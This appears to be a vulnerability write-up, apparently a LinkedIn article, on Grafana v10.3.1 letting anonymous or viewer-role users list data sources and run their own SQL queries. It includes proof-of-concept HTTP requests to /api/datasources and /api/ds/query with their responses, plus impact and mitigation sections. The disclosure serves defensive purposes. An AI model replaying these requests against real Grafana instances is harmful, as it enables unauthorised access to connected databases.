Grafana - unrestricted Access and Query Execution by a anonymous user - "it's not a bug, it's a feature"
In Grafana ver. v10.3.1, you can add any declared data source, such as a MySQL, Amazon Athena, Azure Data Explorer Datasource, Datadog, Elasticsearch, GitHub, GitLab and more.. to visualize data
However, if you decide to take this step, it's important to understand that Grafana, for a anonymous user or user in viewer role - which is the most basic user level with access only to a dashboard limited by you - allows them to:
Point of ?error”:
This allows malicious users to perform critical queries to the database
In the article, I consider two situations:
First: Grafana configuration allows anonymous access to the application - browser role, anonymous user. The least optimistic, access to the list of all data sources and the ability to perform queries.
Second: Grafana requires log in to the app with your account, user in viewer role.
+1 to optimism, the user must be logged in at least as a viewer to access the list of all data sources and be able to perform queries.
POC
HTTP Request by a anonymous user or user in viewer role – show all data source:
GET /api/datasources HTTP/1.1
Host: 192.168.1.98:3000
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://192.168.1.98:3000/connections/datasources
x-grafana-org-id: 1
Connection: close
HTTP Response:
HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: application/json
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Content-Length: 891
Connection: close
[{"id":1,"uid":"fb7f9d4e-6de1-4301-b395-e6405908c9e7","orgId":1,"name":"mysql","type":"mysql","typeName":"MySQL","typeLogoUrl":"/public/app/plugins/datasource/mysql/img/mysql_logo.svg","access":"proxy","url":"192.168.1.98:33306","user":"test","database":"","basicAuth":false,"isDefault":true,"jsonData":{"allowCleartextPasswords":true,"connMaxLifetime":14400,"database":"test","maxIdleConns":100,"maxIdleConnsAuto":true,"maxOpenConns":100},"readOnly":false},{"id":2,"uid":"f168bcfc-06c0-42b2-99ed-56a60110950c","orgId":1,"name":"mysql-1111","type":"mysql","typeName":"MySQL","typeLogoUrl":"/public/app/plugins/datasource/mysql/img/mysql_logo.svg","access":"proxy","url":"192.168.1.98:3309","user":"test2","database":"","basicAuth":false,"isDefault":false,"jsonData":{"connMaxLifetime":14400,"database":"test2","maxIdleConns":100,"maxIdleConnsAuto":true,"maxOpenConns":100},"readOnly":false}]
Important information, 2x instants of MySQL:
..."uid":"fb7f9d4e-6de1-4301-b395-e6405908c9e7","orgId":1,"name":"mysql","type":"mysql"...
..."uid":"f168bcfc-06c0-42b2-99ed-56a60110950c","orgId":1,"name":"mysql111","type":"mysql","typeName":"MySQL"...
At the moment, we have the UID of two data source instances, one of which has its desktop, and the other is just added to the data source configuration.
In the course of my research, it turned out that an anonymous user can only download the data source for the default organization, but this does not change the fact.
As a user in the viewer role (least privileged), you can also download all data source in your organization, about the added data source, including (default):
领英推荐
alertmanager
azuremonitor
cloud-monitoring
cloudwatch
dashboard
elasticsearch
grafana
grafana-postgresql-datasource
grafana-pyroscope-datasource
grafana-testdata-datasource
graphite
influxdb
jaeger
loki
mixed
mssql
mysql
opentsdb
parca
prometheus
tempo
zipkin
HTTP Request by anonymous user or user in viewer role - sended own query to data source:
POST /api/ds/query HTTP/1.1
Host: 192.168.1.98:3000
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
content-type: application/json
Content-Length: 434
Origin: https://192.168.1.98:3000
Connection: close
{"queries":[{"refId":"A","datasource":{"type":"mysql","uid":"fb7f9d4e-6de1-4301-b395-e6405908c9e7"},"rawSql":"SHOW TABLES ","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":1598},{"refId":"B","datasource":{"type":"mysql","uid":"fb7f9d4e-6de1-4301-b395-e6405908c9e7"},"rawSql":"SHOW DATABASES ","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":1598}],"from":"1706724228056","to":"1706745828056"}
Response HTTP:
HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: application/json
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Content-Length: 550
Connection: close
{"results":{"A":{"status":200,"frames":[{"schema":{"refId":"A","meta":{"typeVersion":[0,0],"executedQueryString":"SHOW TABLES "},"fields":[{"name":"Tables_in_test","type":"string","typeInfo":{"frame":"string","nullable":true}}]},"data":{"values":[["pet"]]}}]},"B":{"status":200,"frames":[{"schema":{"refId":"B","meta":{"typeVersion":[0,0],"executedQueryString":"SHOW DATABASES "},"fields":[{"name":"Database","type":"string","typeInfo":{"frame":"string","nullable":true}}]},"data":{"values":[["information_schema","performance_schema","test"]]}}]}}}
Important information:
datasource 1 - tables: ["pet"]
datasource 2 - databases:["information_schema","performance_schema","test"]
Impact
As I showed above, an anonymous user or an enabled user in the lowest role can execute an endpoint API that allows him to execute his own query (CRUD) for all data sources added by the Admin. It can get a list of data sources that it shouldn't see - it shouldn't have access to from the primary role.
From a practical point of view, this means that for each instance of Grafana there is a risk for an anonymous user or in the role of a lower user (viewer), since it will allow access to critical resources, which may allow further escalation of privileges
Mitigation
Grafana: In my opinion - communication with resources for a anonymous user and the user in the viewer role should be invisible, as in the case of a public dashboard without the ability to extract data identifying the data source.
Admin in org.: user for datasource:
You must check out these articles:
And see:
When you enable anonymous access in Grafana, any visitor or user can use Grafana as a Viewer without signing in. This section lists the security implications of enabling Anonymous access. Anyone with the URL of a dashboard accessible by the Viewer role can access that dashboard.